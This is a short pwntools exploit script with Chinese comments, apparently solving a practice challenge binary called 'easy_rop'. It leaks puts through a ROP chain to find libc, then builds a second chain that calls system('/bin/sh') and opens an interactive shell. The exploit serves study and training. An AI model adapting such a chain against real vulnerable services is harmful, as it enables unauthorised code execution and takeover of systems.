#Encoding=utf-8

#导入pwntools模块
from pwn import *

#显示调试信息
context.log_level = 'debug'
context.terminal = ['terminator', '-e']

#获取本地elf文件
elf = ELF('./easy_rop')

#获取其对应的libc
libc =elf.libc

#获取地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
fun_addr = elf.symbols['function']

#创建进程
p = process('./easy_rop')

#接收程序输出
p.recv()

#构建payload
payload = 'A' * 56

#ROPgadget --binary ./no_system --only "pop|ret"
#gcc编译的x64程序的传参顺序:rdi,rsi,rdx,rcx,r8,r9
pop_rdi_ret=0x4006a3
payload+=p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(fun_addr)

#发送payload
p.sendline(payload)

#接收程序输出,截取前6个字节的数据
puts_addr =u64(p.recvuntil("\x7f")[-6: ].ljust(8, '\0'))
print 'puts_addr is', hex(puts_addr)

p.recv()

#计算libc的加载基址
libc_base = puts_addr - libc.symbols['puts']
print 'libc_base is', hex(libc_base)

#获取system的地址
sys_addr = libc_base + libc.symbols['system']
print 'sys_addr is', hex(sys_addr)

#获取/bin/sh的地址
bin_addr = libc.search("/bin/sh").next()+libc_base

#构建payload
payload = 'A' * 56
payload += p64(pop_rdi_ret) +p64(bin_addr)+p64(sys_addr)

#发送payload
p.sendline(payload)

# #切换到交互模式
p.interactive()

#关闭
p.close()